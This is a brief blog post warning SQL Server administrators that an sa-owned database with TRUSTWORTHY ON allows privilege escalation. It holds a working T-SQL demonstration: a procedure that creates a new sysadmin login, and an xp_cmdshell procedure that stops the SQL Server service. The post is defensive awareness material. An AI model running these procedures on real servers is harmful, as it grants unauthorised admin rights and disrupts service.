Database Owner sa and TRUSTWORTHY set to ON - Be Careful!

While working with a customer we discovered a potential vulnerability when having database owners set to sa and TRUSTWORTHY set to on for a database, so here’s a quick post showing how this is achieved so you can better understand it and hopefully avoid this scenario.

The setup

[sql]
-- Create the database and set the owner to sa
CREATE DATABASE SecurityTest
WITH TRUSTWORTHY ON
GO

USE [SecurityTest]
GO
EXEC sp_changedbowner 'sa'
GO
[/sql]

 

[sql]
-- create a stored procedure which creates a new login and assigns it to the sysadmin role
USE [SecurityTest]
GO
CREATE PROCEDURE BadBoyProcedure
WITH EXECUTE AS OWNER
AS
BEGIN
CREATE LOGIN BadLogin WITH PASSWORD = 'BadPassword01!'
ALTER SERVER ROLE [sysadmin] ADD MEMBER [BadLogin]
END
GO
[/sql]

 

[sql]
-- create a new login which 0 permissions except execute on the above stored procedure
USE [master]
GO
CREATE LOGIN [SecurityTest] WITH PASSWORD=N'password'
, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
[/sql]

 

[sql]
USE [SecurityTest]
GO
CREATE USER [SecurityTest] FOR LOGIN [SecurityTest]
GO
[/sql]

 

[sql]
USE [SecurityTest]
GO
GRANT EXECUTE ON BadBoyProcedure to [SecurityTest]
[/sql]

 

 

Now if you open a new session with the SecurityTest login and execute the stored procedure a user can effectively grant themselves admin, or in this case, create a new admin login.

Click for big image Untitled

 

As you can see it would be possible for someone to submit some code to create a procedure and execute it to grant themselves admin permissions.  Being aware of this can help you safeguard yourselves against it.  By default TRUSTWORTHY is set to OFF (best practice).  In this scenario, if it is OFF then it's not possible to execute the stored procedure with EXECUTE AS CALLER - it throws an error.

Also consider what it would mean if you had a policy (as crazy as this would sound, but I've seen it) where you need XP_CMDSHELL enabled, you could open the door to do some pretty crazy things!

As an example:

 

[sql]
CREATE PROCEDURE shutserverdown
WITH EXECUTE AS OWNER
AS
BEGIN
EXEC xp_cmdshell 'net stop mssqlserver'
END
GO
[/sql]

 

[sql]
USE [SecurityTest]
GO
GRANT EXECUTE ON shutserverdown to [SecurityTest]
GO
[/sql]

 

[sql]
-- turn on cmdshell
sp_configure 'show advanced options', 1
RECONFIGURE
GO

sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
[/sql]

 

Learn More:

Changing Database Owner TRUSTWORTHY Database Property